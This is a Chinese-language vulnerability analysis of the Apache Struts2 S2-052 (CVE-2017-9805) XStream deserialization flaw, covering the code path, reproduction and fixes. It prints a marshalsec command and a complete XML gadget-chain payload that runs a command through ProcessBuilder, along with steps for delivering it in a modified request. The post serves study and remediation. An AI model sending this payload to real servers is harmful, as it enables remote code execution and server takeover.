struts2 s2-052漏洞分析
很久以前的洞了,一直没时间分析,拖延症晚期o(╯□╰)o
前言
2017年9月5日,Apache Struts 2官方发布一个严重级别的安全漏洞公告,该漏洞由国外安全研究组织lgtm.com的安全研究人员发现,漏洞编号为CVE-2017-9805(S2-052),在一定条件下,攻击者可以利用该漏洞远程发送精心构造的恶意数据包,获取业务数据或服务器权限,存在高安全风险。
当Struts2使用REST插件使用XStream的实例xstreamhandler处理反序列化XML时没有进行任何过滤,可以导致远程执行代码,攻击者可以利用该漏洞构造恶意的XML内容获取服务器权限。目前来说xml反序列化有两种,一种是XMLDecoder,另外一下是使用xstream。
利用条件:使用REST插件并在受影响版本范围内。
利用方式:攻击者构建恶意数据包远程利用。
影响版本:Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
漏洞分析
下载struts-2.5.12-all.zip,将struts-2.5.12\src\apps\目录下的rest-showcase导入idea,再配置下project structure,如下
根据官方公告知道该漏洞出现在xstreamhandler类,定位到该类,发现在struts2-rest-plugin-2.5.12.jar包内
在toObject()处下一个断点,进行调试,发现其上层调用栈中,ContentTypeInterceptor类会根据请求的Content-Type选择对应的Handler进行处理。并且struts2-rest-plugin-2.5.12.jar的struts-plugin.xml配置文件是当Content-Type为xml会调用XStreamHandler类进行处理
所有当Content-Type为”application/xml”时,就会调用XStreamHandler.toObject(),在toObject()中调用 XStream.fromXML()对xml的内容进行反序列化,并且XStream没有对Reader做任何过滤处理。
所以整个流程是:
发起请求 -> ContentTypeInterceptor判断Content-Type ->若Content-Type:application/xml ->调用XStreamHandler.toObject()对xml数据流进行反序列化
过程已经很清晰明了,现在开始漏洞复现
漏洞复现
这里使用marshalsec构造生成payload
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.XStream ImageIO "calc" > poc.xml
payload如下:
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>calc</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
访问http://localhost:8088/orders/3/edit中点击Submit,burp抓包,将请求内容改为Payload,Content-Type Header改为application/xml,即可对请求内容进行反序列化
修复方案
1.官方补丁,官方的修复方案中,主要就是将xml中的数据白名单化,把Collection和Map,一些基础类,时间类放在白名单中,这样就能阻止XStream反序列化的过程中带入一些有害类
2.Version 2.3.0 to 2.3.33升级到Struts 2.3.34版本,Version 2.5.0 to 2.5.12升级到Struts 2.5.13版本
参考
1.Struts2 S2-052与XStream漏洞调试分析
2.S2-052漏洞分析及官方缓解措施无效验证
3.Struts2-052漏洞分析